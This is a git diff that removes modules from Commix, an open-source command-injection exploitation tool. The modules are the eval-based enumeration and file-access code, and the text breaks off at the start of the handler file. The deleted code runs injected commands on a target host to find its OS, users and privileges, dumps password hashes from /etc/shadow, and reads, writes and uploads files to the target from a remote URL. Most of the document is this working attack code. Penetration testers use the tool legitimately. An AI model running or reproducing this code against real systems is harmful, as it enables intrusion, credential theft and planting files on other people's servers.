info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = eb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = eb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - if not alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - else: - settings.SYS_USERS = settings.EVAL_SYS_USERS - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = eb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = eb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - - else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = eb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print("\n" + settings.print_warning_msg(warn_msg)) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py deleted file mode 100755 index b3c839762a..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ /dev/null @@ -1,232 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -from src.thirdparty.six.moves import urllib as _urllib - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init - -from src.core.requests import requests -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" - The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = "(" + settings.FILE_READ + file_to_read + ")" - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - - else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - - # Check if defined cookie injection. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py deleted file mode 100755 index 88f27d3481..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ /dev/null @@ -1,473 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import re -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.results_based.techniques.eval_based import eb_payloads -from src.core.injections.results_based.techniques.eval_based import eb_enumeration -from 